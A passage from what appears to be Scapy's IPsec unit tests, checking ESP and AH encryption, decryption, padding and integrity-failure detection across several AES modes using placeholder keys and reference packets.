packet payload should NOT be readable assert b'testdata' not in e[ESP].data * simulate the alteration of the packet before decryption e[ESP].seq += 1 * integrity verification should fail try: d = sa.decrypt(e) assert False except IPSecIntegrityError as err: err ####################################### = IPv4 / ESP - Transport - AES-CBC - HMAC-SHA2-256-128 -- ESN p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('hello world') p = IP(raw(p)) p enc_key = bytes.fromhex("85ee354b4675a9c5d16e3d6f4118043b") auth_key = bytes.fromhex("6f79bf94da7dde3c86009934d9258f1b3fc2f5382aca9c9cb8e216eed235f34c") sa = SecurityAssociation(ESP, spi=0xcf54ccdf, crypt_algo='AES-CBC', crypt_key=enc_key, auth_algo='SHA2-256-128', auth_key=auth_key, esn_en=True, esn=68) e = sa.encrypt(p, iv=bytes.fromhex("11223344112233441122334411223344")) assert bytes(e) == bytes.fromhex("4500006c000100004032745a0101010102020202cf54ccdf0000000111223344112233441122334411223344f5bda519c9ae64f283f0fc18a8d253eca8b34c2120c8958a97ec9d8e67756da2523fce9b5541c57fddf090afc2bfd97e8703203953f853eb61482e4c1384d4c8") * integrity verification should pass d = sa.decrypt(e) d ####################################### = IPv4 / ESP - Transport - AES-GCM - NULL p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-GCM', crypt_key=b'16bytekey+4bytenonce', auth_algo='NULL', auth_key=None) e = sa.encrypt(p) e assert isinstance(e, IP) assert e.src == '1.1.1.1' and e.dst == '2.2.2.2' assert e.chksum != p.chksum assert e.proto == socket.IPPROTO_ESP assert e.haslayer(ESP) assert not e.haslayer(TCP) assert e[ESP].spi == sa.spi * after encryption the original packet payload should NOT be readable assert b'testdata' not in e[ESP].data d = sa.decrypt(e) d * after decryption original packet should be preserved assert d[TCP] == p[TCP] # Generated with Linux 4.4.0-62-generic #83-Ubuntu # ip xfrm state add src 10.125.0.2 dst 10.125.0.1 proto esp spi 546 reqid 1 \ # mode tunnel aead 'rfc4106(gcm(aes))' '0x3136627974656b65792b34627974656e6f6e6365' 128 flag align4 ref = IP() \ / ESP(spi=0x222, data=b'\x66\x00\x28\x86\xe9\xdf\xc5\x24\xb0\xbd\xfd\x62\x61\x7e\xd3\x76' b'\x7b\x48\x28\x8e\x76\xaa\xea\x48\xb8\x40\x30\x8a\xce\x50\x71\xbb' b'\xc0\xb2\x47\x71\xd7\xa4\xa0\xcb\x03\x68\xd3\x16\x5a\x7c\x37\x84' b'\x87\xc7\x19\x59\xb4\x7c\x76\xe3\x48\xc0\x90\x4b\xd2\x36\x95\xc1' b'\xb7\xa4\xb6\x7b\x89\xe6\x4f\x10\xae\xdb\x84\x47\x46\x00\xb4\x44' b'\xe6\x6d\x16\x55\x5f\x82\x36\xa5\x49\xf7\x52\x81\x65\x90\x4d\x28' b'\x92\xb2\xe3\xf1\xa4\x02\xd2\x37\xac\x0b\x7a\x10\xcf\x64\x46\xb9', seq=1) d_ref = sa.decrypt(ref) d_ref * Check for ICMP layer in decrypted reference assert d_ref.haslayer(ICMP) ####################################### = IPv4 / ESP - Transport - AES-GCM - NULL -- ESN p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-GCM', crypt_key=b'16bytekey+4bytenonce', auth_algo='NULL', auth_key=None, esn_en = True, esn = 0x1) e = sa.encrypt(p) e assert isinstance(e, IP) assert e.src == '1.1.1.1' and e.dst == '2.2.2.2' assert e.chksum != p.chksum assert e.proto == socket.IPPROTO_ESP assert e.haslayer(ESP) assert not e.haslayer(TCP) assert e[ESP].spi == sa.spi * after encryption the original packet payload should NOT be readable assert b'testdata' not in e[ESP].data d = sa.decrypt(e) d * after decryption original packet should be preserved assert d[TCP] == p[TCP] # Generated with Linux 4.4.0-62-generic #83-Ubuntu # ip xfrm state add src 10.125.0.2 dst 10.125.0.1 proto esp spi 546 reqid 1 \ # mode tunnel aead 'rfc4106(gcm(aes))' '0x3136627974656b65792b34627974656e6f6e6365' 128 flag align4 ref = IP() \ / ESP(spi=0x222, data=b'\x66\x00\x28\x86\xe9\xdf\xc5\x24\xb0\xbd\xfd\x62\x61\x7e\xd3\x76' b'\x7b\x48\x28\x8e\x76\xaa\xea\x48\xb8\x40\x30\x8a\xce\x50\x71\xbb' b'\xc0\xb2\x47\x71\xd7\xa4\xa0\xcb\x03\x68\xd3\x16\x5a\x7c\x37\x84' b'\x87\xc7\x19\x59\xb4\x7c\x76\xe3\x48\xc0\x90\x4b\xd2\x36\x95\xc1' b'\xb7\xa4\xb6\x7b\x89\xe6\x4f\x10\xae\xdb\x84\x47\x46\x00\xb4\x44' b'\xe6\x6d\x16\x55\x5f\x82\x36\xa5\x49\xf7\x52\x81\x65\x90\x4d\x28' b'\xfe\x4d\x22\x83\x6a\x81\x0d\x60\x94\xdb\x45\x22\x03\x92\xf6\x94', seq=1) d_ref = sa.decrypt(ref) d_ref * Check for ICMP layer in decrypted reference assert d_ref.haslayer(ICMP) ####################################### = IPv4 / ESP - Transport - AES-GCM - NULL - altered packet p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-GCM', crypt_key=b'16bytekey+4bytenonce', auth_algo='NULL', auth_key=None) e = sa.encrypt(p) e assert isinstance(e, IP) assert e.src == '1.1.1.1' and e.dst == '2.2.2.2' assert e.chksum != p.chksum assert e.proto == socket.IPPROTO_ESP assert e.haslayer(ESP) assert not e.haslayer(TCP) assert e[ESP].spi == sa.spi * after encryption the original packet payload should NOT be readable assert b'testdata' not in e[ESP].data * simulate the alteration of the packet before decryption e[ESP].seq += 1 * integrity verification should fail try: d = sa.decrypt(e) assert False except IPSecIntegrityError as err: err ####################################### = IPv4 / ESP - Transport - AES-GCM - NULL - altered packet -- ESN p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-GCM', crypt_key=b'16bytekey+4bytenonce', auth_algo='NULL', auth_key=None, esn_en = True, esn = 0x200) e = sa.encrypt(p) e assert isinstance(e, IP) assert e.src == '1.1.1.1' and e.dst == '2.2.2.2' assert e.chksum != p.chksum assert e.proto == socket.IPPROTO_ESP assert e.haslayer(ESP) assert not e.haslayer(TCP) assert e[ESP].spi == sa.spi * after encryption the original packet payload should NOT be readable assert b'testdata' not in e[ESP].data * simulate the alteration of the packet before decryption * integrity verification should fail try: d = sa.decrypt(e, esn = 0x201) assert False except IPSecIntegrityError as err: err ####################################### = IPv4 / ESP - Transport - AES-NULL-GMAC - NULL p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-NULL-GMAC', crypt_key=b'16bytekey+4bytenonce', auth_algo='NULL', auth_key=None) e = sa.encrypt(p) e assert isinstance(e, IP) assert e.src == '1.1.1.1' and e.dst == '2.2.2.2' assert e.chksum != p.chksum assert e.proto == socket.IPPROTO_ESP assert e.haslayer(ESP) assert not e.haslayer(TCP) assert e[ESP].spi == sa.spi * AES-NULL-GMAC is integrity only, the original packet payload should be readable assert b'testdata' in e[ESP].data d = sa.decrypt(e) d * after decryption original packet should be preserved assert d[TCP] == p[TCP] # Generated with Linux 5.15.0-1034-azure #41-Ubuntu # ip xfrm state add src 10.125.0.2 dst 10.125.0.1 proto esp spi 0x222 reqid 1 \ # mode tunnel aead 'rfc4543(gcm(aes))' '0x3136627974656b65792b34627974656e6f6e6365' 128 flag align4 ref = IP() \ / ESP(spi=0x222, data=b'\x54\x70\x6c\x6a\x9f\xba\xa6\x18\x45\x00\x00\x54\xbc\x53\x00\x00' b'\x40\x01\xa9\x59\x0a\x7d\x00\x01\x0a\x7d\x00\x02\x00\x00\xad\x53' b'\xa8\x83\x00\x01\x02\xe6\x09\x64\x00\x00\x00\x00\xd9\x0a\x06\x00' b'\x00\x00\x00\x00\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b' b'\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b' b'\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x01\x02\x02\x04' b'\x9b\x76\x32\x30\xf6\x49\x92\xa8\x8f\x6a\x20\x87\x2c\x74\x0c\x18', seq=22) d_ref = sa.decrypt(ref) d_ref * Check for ICMP layer in decrypted reference assert d_ref.haslayer(ICMP) ####################################### = IPv4 / ESP - Transport - AES-NULL-GMAC - NULL -- ESN p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-NULL-GMAC', crypt_key=b'16bytekey+4bytenonce', auth_algo='NULL', auth_key=None, esn_en = True, esn = 0x1) e = sa.encrypt(p) e assert isinstance(e, IP) assert e.src == '1.1.1.1' and e.dst == '2.2.2.2' assert e.chksum != p.chksum assert e.proto == socket.IPPROTO_ESP assert e.haslayer(ESP) assert not e.haslayer(TCP) assert e[ESP].spi == sa.spi * AES-NULL-GMAC is integrity only, the original packet payload should be readable assert b'testdata' in e[ESP].data d = sa.decrypt(e) d * after decryption original packet should be preserved assert d[TCP] == p[TCP] # Generated with Linux 5.15.0-1034-azure #41-Ubuntu # ip xfrm state add src 10.125.0.2 dst 10.125.0.1 proto esp spi 0x222 reqid 1 replay-oseq-hi 0x1 \ # mode tunnel aead 'rfc4543(gcm(aes))' '0x3136627974656b65792b34627974656e6f6e6365' 128 flag align4 esn ref = IP() \ / ESP(spi=0x222, data=b'\x43\xe6\xa1\xce\x70\x9d\x67\xf4\x45\x00\x00\x54\x2e\x4a\x40\x00' b'\x40\x01\xf7\x62\x0a\x7d\x00\x02\x0a\x7d\x00\x01\x08\x00\xd3\x32' b'\x8f\x4c\x00\x02\x8d\xec\x09\x64\x00\x00\x00\x00\x3c\x5b\x03\x00' b'\x00\x00\x00\x00\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b' b'\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b' b'\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x01\x02\x02\x04' b'\x76\xd4\x93\x90\x75\xee\x3f\xa3\xf3\xcf\xcc\x27\xf5\x5b\x12\xb6', seq=5) d_ref = sa.decrypt(ref) d_ref * Check for ICMP layer in decrypted reference assert d_ref.haslayer(ICMP) ####################################### = IPv4 / ESP - Transport - AES-NULL-GMAC - NULL - altered packet p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-NULL-GMAC', crypt_key=b'16bytekey+4bytenonce', auth_algo='NULL', auth_key=None) e = sa.encrypt(p) e assert isinstance(e, IP) assert e.src == '1.1.1.1' and e.dst == '2.2.2.2' assert e.chksum != p.chksum assert e.proto == socket.IPPROTO_ESP assert e.haslayer(ESP) assert not e.haslayer(TCP) assert e[ESP].spi == sa.spi * AES-NULL-GMAC is integrity only, the original packet payload should be readable assert b'testdata' in e[ESP].data * simulate the alteration of the packet before decryption e[ESP].seq += 1 * integrity verification should fail try: d = sa.decrypt(e) assert False except IPSecIntegrityError as err: err ####################################### = IPv4 / ESP - Transport - AES-NULL-GMAC - NULL - altered packet -- ESN p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-NULL-GMAC', crypt_key=b'16bytekey+4bytenonce', auth_algo='NULL', auth_key=None, esn_en = True, esn = 0x200) e = sa.encrypt(p) e assert isinstance(e, IP) assert e.src == '1.1.1.1' and e.dst == '2.2.2.2' assert e.chksum != p.chksum assert e.proto == socket.IPPROTO_ESP assert e.haslayer(ESP) assert not e.haslayer(TCP) assert e[ESP].spi == sa.spi * AES-NULL-GMAC is integrity only, the original packet payload should be readable assert b'testdata' in e[ESP].data * simulate the alteration of the packet before decryption * integrity verification should fail try: d = sa.decrypt(e, esn = 0x201) assert False except IPSecIntegrityError as err: err ####################################### = IPv4 / ESP - Transport - AES-CCM - NULL ~ crypto_advanced p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-CCM', crypt_key=b'16bytekey3bytenonce', crypt_icv_size=8, auth_algo='NULL', auth_key=None) e = sa.encrypt(p) e assert isinstance(e, IP) * after encryption packet should be encapsulated with the given ip tunnel header assert e.src == '1.1.1.1' and e.dst == '2.2.2.2' assert e.chksum != p.chksum assert e.proto == socket.IPPROTO_ESP assert e.haslayer(ESP) assert not e.haslayer(TCP) assert e[ESP].spi == sa.spi * after encryption the original packet payload should NOT be readable assert b'testdata' not in e[ESP].data d = sa.decrypt(e) d * after decryption original packet should be preserved assert d == p # Generated with Linux 4.4.0-62-generic #83-Ubuntu # ip xfrm state add src 10.125.0.2 dst 10.125.0.1 proto esp spi 546 reqid 1 \ # mode tunnel aead 'rfc4309(ccm(aes))' '0x3136627974656b657933627974656e6f6e6365' 64 ref = IP() \ / ESP(spi=0x222, data=b'\x2e\x02\x9f\x1f\xad\x76\x80\x58\x8f\xeb\x45\xf1\x66\xe3\xad\xa6' b'\x90\x1b\x2b\x7d\xd3\x3d\xa4\x53\x35\xc8\xfa\x92\xfd\xd7\x42\x2f' b'\x87\x60\x9b\x46\xb0\x21\x5e\x82\xfb\x2f\x59\xba\xf0\x6c\xe5\x51' b'\xb8\x36\x20\x88\xfe\x49\x86\x60\xe8\x0a\x3d\x36\xb5\x8a\x08\xa9' b'\x5e\xe3\x87\xfa\x93\x3f\xe8\xc2\xc5\xbf\xb1\x2e\x6f\x7d\xc5\xa5' b'\xd8\xe5\xf3\x25\x21\x81\x43\x16\x48\x10\x7c\x04\x31\x20\x07\x7c' b'\x7b\xda\x5d\x1a\x72\x45\xc4\x79', seq=1) d_ref = sa.decrypt(ref) d_ref * Check for ICMP layer in decrypted reference assert d_ref.haslayer(ICMP) ####################################### = IPv4 / ESP - Transport - AES-CCM - NULL - altered packet ~ crypto_advanced p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-CCM', crypt_key=b'16bytekey3bytenonce', auth_algo='NULL', auth_key=None, tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert isinstance(e, IP) * after encryption packet should be encapsulated with the given ip tunnel header assert e.src == '11.11.11.11' and e.dst == '22.22.22.22' assert e.chksum != p.chksum assert e.proto == socket.IPPROTO_ESP assert e.haslayer(ESP) assert not e.haslayer(TCP) assert e[ESP].spi == sa.spi * after encryption the original packet payload should NOT be readable assert b'testdata' not in e[ESP].data * simulate the alteration of the packet before decryption e[ESP].seq += 1 * integrity verification should fail try: d = sa.decrypt(e) assert False except IPSecIntegrityError as err: err ####################################### = IPv4 / ESP - Tunnel - AES-CBC - HMAC-SHA1-96 p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-CBC', crypt_key=b'sixteenbytes key', auth_algo='HMAC-SHA1-96', auth_key=b'secret key', tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert isinstance(e, IP) * after encryption packet should be encapsulated with the given ip tunnel header assert e.src == '11.11.11.11' and e.dst == '22.22.22.22' assert e.chksum != p.chksum assert e.proto == socket.IPPROTO_ESP assert e.haslayer(ESP) assert not e.haslayer(TCP) assert e[ESP].spi == sa.spi * after encryption the original packet payload should NOT be readable assert b'testdata' not in e[ESP].data d = sa.decrypt(e) d * after decryption the original packet payload should be unaltered assert d[TCP] == p[TCP] ####################################### = IPv4 / ESP - Tunnel - AES-CBC - HMAC-SHA1-96 - altered packet p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-CBC', crypt_key=b'sixteenbytes key', auth_algo='HMAC-SHA1-96', auth_key=b'secret key', tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert isinstance(e, IP) * after encryption packet should be encapsulated with the given ip tunnel header assert e.src == '11.11.11.11' and e.dst == '22.22.22.22' assert e.chksum != p.chksum assert e.proto == socket.IPPROTO_ESP assert e.haslayer(ESP) assert not e.haslayer(TCP) assert e[ESP].spi == sa.spi * after encryption the original packet payload should NOT be readable assert b'testdata' not in e[ESP].data * simulate the alteration of the packet before decryption e[ESP].seq += 1 * integrity verification should fail try: d = sa.decrypt(e) assert False except IPSecIntegrityError as err: err ####################################### = IPv4 / ESP - Tunnel - AES-GCM - NULL p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-GCM', crypt_key=b'16bytekey+4bytenonce', auth_algo='NULL', auth_key=None, tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert isinstance(e, IP) * after encryption packet should be encapsulated with the given ip tunnel header assert e.src == '11.11.11.11' and e.dst == '22.22.22.22' assert e.chksum != p.chksum assert e.proto == socket.IPPROTO_ESP assert e.haslayer(ESP) assert not e.haslayer(TCP) assert e[ESP].spi == sa.spi * after encryption the original packet payload should NOT be readable assert b'testdata' not in e[ESP].data d = sa.decrypt(e) d * after decryption original packet should be preserved assert d[TCP] == p[TCP] ####################################### = IPv4 / ESP - Tunnel - AES-GCM - NULL -- ESN p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-GCM', crypt_key=b'16bytekey+4bytenonce', auth_algo='NULL', auth_key=None, tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22'), esn_en = True, esn = 0x2) e = sa.encrypt(p) e assert isinstance(e, IP) * after encryption packet should be encapsulated with the given ip tunnel header assert e.src == '11.11.11.11' and e.dst == '22.22.22.22' assert e.chksum != p.chksum assert e.proto == socket.IPPROTO_ESP assert e.haslayer(ESP) assert not e.haslayer(TCP) assert e[ESP].spi == sa.spi * after encryption the original packet payload should NOT be readable assert b'testdata' not in e[ESP].data d = sa.decrypt(e) d * after decryption original packet should be preserved assert d[TCP] == p[TCP] ####################################### = IPv4 / ESP - Tunnel - AES-GCM - NULL - altered packet p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-GCM', crypt_key=b'16bytekey+4bytenonce', auth_algo='NULL', auth_key=None, tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert isinstance(e, IP) * after encryption packet should be encapsulated with the given ip tunnel header assert e.src == '11.11.11.11' and e.dst == '22.22.22.22' assert e.chksum != p.chksum assert e.proto == socket.IPPROTO_ESP assert e.haslayer(ESP) assert not e.haslayer(TCP) assert e[ESP].spi == sa.spi * after encryption the original packet payload should NOT be readable assert b'testdata' not in e[ESP].data * simulate the alteration of the packet before decryption e[ESP].seq += 1 * integrity verification should fail try: d = sa.decrypt(e) assert False except IPSecIntegrityError as err: err ####################################### = IPv4 / ESP - Tunnel - AES-GCM - NULL - altered packet - ESN p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-GCM', crypt_key=b'16bytekey+4bytenonce', auth_algo='NULL', auth_key=None, tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22'), esn_en = True, esn = 0x2) e = sa.encrypt(p) e assert isinstance(e, IP) * after encryption packet should be encapsulated with the given ip tunnel header assert e.src == '11.11.11.11' and e.dst == '22.22.22.22' assert e.chksum != p.chksum assert e.proto == socket.IPPROTO_ESP assert e.haslayer(ESP) assert not e.haslayer(TCP) assert e[ESP].spi == sa.spi * after encryption the original packet payload should NOT be readable assert b'testdata' not in e[ESP].data * simulate the alteration of the packet before decryption * integrity verification should fail try: d = sa.decrypt(e, esn = 0x3) assert False except IPSecIntegrityError as err: err ####################################### = IPv4 / ESP - Tunnel - AES-CTR - NULL - verify no cipher align padding p = IP(src='1.1.1.1', dst='2.2.2.2') p /= UDP(sport=1000, dport=1001) p /= Raw("\x00" * 3) p print("len p: {}".format(len(p))) # oiphdr esphdr iiphdr udphdr data esptail iv # 20 + 8 + 20 + 8 + 3 + 2 + 8 = 69 # CipherInput: iiphdr udphdr data esptail # 20 + 8 + 3 + 2 = 33 # good: (33 % 4) == 1, pad == (4-1) == 3, len == 36+33+3 == 72 # bad: (33 % 16) == 1, pad == (16-1) == 15, len == 36+33+15 == 84 sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-CTR', crypt_key=b'16bytekey+4bytenonce', auth_algo='NULL', auth_key=None, tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) print("crypt_algo.icv_size {}".format(sa.crypt_algo.icv_size)) print("auth_algo.icv_size {}".format(sa.auth_algo.icv_size)) e = sa.encrypt(p) e print("len e: {}".format(len(e))) esp = sa.crypt_algo.decrypt(sa, e[ESP], sa.crypt_key, sa.crypt_algo.icv_size or sa.auth_algo.icv_size, esn_en=sa.esn_en, esn=sa.esn) esp print("len(esp.data): {}".format(len(esp.data))) * after encryption packet should be padded for 4 byte alignment assert len(e) == 72 and esp.padlen == 3, "bad length/padding {}/{}".format(len(e), esp.padlen) ####################################### = IPv4 / ESP - Tunnel - AES-GCM - NULL - verify no cipher align padding p = IP(src='1.1.1.1', dst='2.2.2.2') p /= UDP(sport=1000, dport=1001) p /= Raw("\x00" * 1418) print("len p: {}".format(len(p))) # oiphdr esphdr iiphdr udphdr data esptail iv icv # 20 + 8 + 20 + 8 +1418 + 2 +8 +16 = 1500 # CipherInput: iiphdr udphdr data esptail # 20 + 8 +1418 + 2 = 1448 # good: (1448 % 4) == 0, pad == 0, len == 52+1448+0 == 1500 # bad: (1448 % 16) == 8, pad == (16-8) == 8, len == 52+1448+8 == 1508 sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-GCM', crypt_key=b'16bytekey+4bytenonce', auth_algo='NULL', auth_key=None, tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) print("len e: {}".format(len(e))) esp = sa.crypt_algo.decrypt(sa, e[ESP], sa.crypt_key, sa.crypt_algo.icv_size or sa.auth_algo.icv_size, esn_en=sa.esn_en, esn=sa.esn) print("len(esp.data): {}".format(len(esp.data))) * after encryption packet should be padded for 4 byte alignment assert len(e) == 1500 and esp.padlen == 0, "bad length/padding {}/{}".format(len(e), esp.padlen) ####################################### = IPv4 / ESP - Tunnel - AES-CCM - NULL ~ crypto_advanced p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-CCM', crypt_key=b'16bytekey3bytenonce', auth_algo='NULL', auth_key=None, tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert isinstance(e, IP) * after encryption packet should be encapsulated with the given ip tunnel header assert e.src == '11.11.11.11' and e.dst == '22.22.22.22' assert e.chksum != p.chksum assert e.proto == socket.IPPROTO_ESP assert e.haslayer(ESP) assert not e.haslayer(TCP) assert e[ESP].spi == sa.spi * after encryption the original packet payload should NOT be readable assert b'testdata' not in e[ESP].data d = sa.decrypt(e) d * after decryption original packet should be preserved assert d == p ####################################### = IPv4 / ESP - Tunnel - AES-CCM - NULL ~ crypto_advanced p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-CCM', crypt_key=b'16bytekey3bytenonce', auth_algo='NULL', auth_key=None, tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert isinstance(e, IP) * after encryption packet should be encapsulated with the given ip tunnel header assert e.src == '11.11.11.11' and e.dst == '22.22.22.22' assert e.chksum != p.chksum assert e.proto == socket.IPPROTO_ESP assert e.haslayer(ESP) assert not e.haslayer(TCP) assert e[ESP].spi == sa.spi * after encryption the original packet payload should NOT be readable assert b'testdata' not in e[ESP].data * simulate the alteration of the packet before decryption e[ESP].seq += 1 * integrity verification should fail try: d = sa.decrypt(e) assert False except IPSecIntegrityError as err: err ############################################################################### + IPv4 / AH - Transport ####################################### = IPv4 / AH - Transport - HMAC-SHA1-96 p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='HMAC-SHA1-96', auth_key=b'sixteenbytes key') e = sa.encrypt(p) e assert isinstance(e, IP) assert e.src == '1.1.1.1' and e.dst == '2.2.2.2' assert e.chksum != p.chksum * the encrypted packet should have an AH layer assert e.proto == socket.IPPROTO_AH assert e.haslayer(AH) assert e.haslayer(TCP) assert e[AH].spi == sa.spi * alter mutable fields in the packet e.ttl = 2 * integrity verification should pass d = sa.decrypt(e) d * after decryption the original packet payload should be unaltered assert d[TCP] == p[TCP] ####################################### = IPv4 / AH - Transport - HMAC-SHA1-96 - altered packet p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='HMAC-SHA1-96', auth_key=b'sixteenbytes key') e = sa.encrypt(p) e assert isinstance(e, IP) assert e.src == '1.1.1.1' and e.dst == '2.2.2.2' assert e.chksum != p.chksum * the encrypted packet should have an AH layer assert e.proto == socket.IPPROTO_AH assert e.haslayer(AH) assert e.haslayer(TCP) assert e[AH].spi == sa.spi * simulate the alteration of the packet before decryption e[TCP].sport = 5 * integrity verification should fail try: d = sa.decrypt(e) assert False except IPSecIntegrityError as err: err ####################################### = IPv4 / AH - Transport - SHA2-256-128 p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='SHA2-256-128', auth_key=b'secret key') e = sa.encrypt(p) e assert isinstance(e, IP) assert e.src == '1.1.1.1' and e.dst == '2.2.2.2' assert e.chksum != p.chksum * the encrypted packet should have an AH layer assert e.proto == socket.IPPROTO_AH assert e.haslayer(AH) assert e.haslayer(TCP) assert e[AH].spi == sa.spi * alter mutable fields in the packet e.ttl = 2 * integrity verification should pass d = sa.decrypt(e) d * after decryption the original packet should be unaltered assert d[TCP] == p[TCP] ####################################### = IPv4 / AH - Transport - SHA2-256-128 - altered packet p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='SHA2-256-128', auth_key=b'secret key') e = sa.encrypt(p) e assert isinstance(e, IP) assert e.src == '1.1.1.1' and e.dst == '2.2.2.2' assert e.chksum != p.chksum * the encrypted packet should have an AH layer assert e.proto == socket.IPPROTO_AH assert e.haslayer(AH) assert e.haslayer(TCP) assert e[AH].spi == sa.spi * simulate the alteration of the packet before verification e[TCP].dport = 46 * integrity verification should fail try: d = sa.decrypt(e) assert False except IPSecIntegrityError as err: err ####################################### = IPv4 / AH - Transport - SHA2-384-192 p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='SHA2-384-192', auth_key=b'secret key') e = sa.encrypt(p) e assert isinstance(e, IP) assert e.src == '1.1.1.1' and e.dst == '2.2.2.2' assert e.chksum != p.chksum * the encrypted packet should have an AH layer assert e.proto == socket.IPPROTO_AH assert e.haslayer(AH) assert e.haslayer(TCP) assert e[AH].spi == sa.spi * alter mutable fields in the packet e.ttl = 2 * integrity verification should pass d = sa.decrypt(e) d * after decryption the original packet should be unaltered assert d[TCP] == p[TCP] ####################################### = IPv4 / AH - Transport - SHA2-384-192 - altered packet p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='SHA2-384-192', auth_key=b'secret key') e = sa.encrypt(p) e assert isinstance(e, IP) assert e.src == '1.1.1.1' and e.dst == '2.2.2.2' assert e.chksum != p.chksum * the encrypted packet should have an AH layer assert e.proto == socket.IPPROTO_AH assert e.haslayer(AH) assert e.haslayer(TCP) assert e[AH].spi == sa.spi * simulate the alteration of the packet before 